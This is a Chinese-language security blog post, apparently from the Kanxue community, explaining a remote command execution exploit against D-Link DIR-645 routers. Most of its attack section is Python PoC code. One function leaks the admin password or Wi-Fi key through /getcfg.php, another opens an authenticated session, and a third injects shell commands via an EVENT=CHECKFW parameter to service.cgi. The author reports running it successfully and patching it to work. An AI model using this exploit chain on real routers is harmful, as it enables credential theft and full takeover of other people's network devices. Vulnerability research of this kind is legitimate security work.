查看原文
其他

D-Link DIR 645 远程命令执行漏洞

samohyes 看雪学院 2019-09-17

我这几天看了个D-Link DIR 645的漏洞,花了一段时间看PoC,这里简单分享下。遗憾的是我想用binwalk提取这个路由器的文件系统,总是提取失败。


漏洞是通过构造对路由器serviec.cgi的POST请求中的data段来达到远程执行命令的目的。


这个漏洞据说在615和815中也能实现,但是我试了几台都没有成功,只有645中成功复现了。Cr0n1c最早给出了PoC,链接在这里:

https://packetstormsecurity.com/files/145859/dlinkroutersservice-exec.txt


我们来看看这个代码具体做了什么。


首先,它利用了一个比较旧的漏洞获得了路由器的管理员密码。这个漏洞编号是CWE-200。链接在这里:

https://vuldb.com/?id.7843 


这个漏洞就是说我们向路由器上的 /getcfg.php发出请求时,路由器会回复一个包含密码的页面。相关代码如下:


def attempt_password_find():

# Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password

data = query_getcfg("DEVICE.ACCOUNT")

if not data:

return False

res = re.findall("<password>(.*?)</password>", data)

if len(res) > 0 and res != "=OoXxGgYy=":

return res[0]

# Did not find it in first attempt

data = query_getcfg("WIFI")

if not data:

return False

res = re.findall("<key>(.*?)</key>", data)

if len(res) > 0:

return res[0]

# All attempts failed, just going to return and wish best of luck!

return False


我找到了一个D-Link DIR 645 并且试了下。




我们还可以通过这样的命令行指令获得密码。




不过,值得一提的是,这款路由器的user用户登陆是不需要密码的。第二个漏洞就是我们的远程命令执行了。要利用这个漏洞,首先得用刚刚获得的密码来创建一个session。


def create_session():
post_content = {"REPORT_METHOD": "xml",
"ACTION": "login_plaintext",
"USER": "admin",
"PASSWD": PASSWORD,
"CAPTCHA": ""
}

try:
r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
except requests.exceptions.ConnectionError:
print "Error: Failed to access " + URL + "/session.cgi"
return False

if not (r.status_code == 200 and r.reason == "OK"):
print "Error: Did not recieve a HTTP 200"
return False

if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
print "Error: Did not get a success code"
return False

return True

然后构造线请求报文的data段就可以执行命令了。

 

def send_post(command, print_res=True):
post_content = "EVENT=CHECKFW%26" + command + "%26"

method = "POST"

if URL.lower().startswith("https"):
handler = urllib2.HTTPSHandler()
else:
handler = urllib2.HTTPHandler()

opener = urllib2.build_opener(handler)
request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
request.get_method = lambda: method

try:
connection = opener.open(request)
except urllib2.HTTPError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False
except urllib2.HTTPSError:
print "Error: failed to connect to " + URL + "/service.cgi"
return False

if not connection.code == 200:
print "Error: Recieved status code " + str(connection.code)
return False

attempts = 0

while attempts < 5:
try:
data = connection.read()
except httplib.IncompleteRead:
attempts += 1
else:
break

if attempts == 5:
print "Error: Chunking failed %d times, bailing." %attempts
return False

if print_res:
return parse_results(data)
else:
return data

我尝试了下,可以成功。




原来的PoC有一些小问题,我改进了下,可以在python2.7下运行。






- End -





看雪ID:samohyes

https://bbs.pediy.com/user-753288.htm  




本文由看雪论坛 samohyes  原创

转载请注明来自看雪社区


—▼—



—▼—


往期热门回顾

1、如何实现 Https拦截进行 非常规“抓包”

2、稳定多线程中的inline hook

3、汽车智能警报器的安全问题分析

4、峰会预告 | 安全研究视角看macOS平台EDR安全能力建设








公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com




↙点击下方“阅读原文”,查看更多干货

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存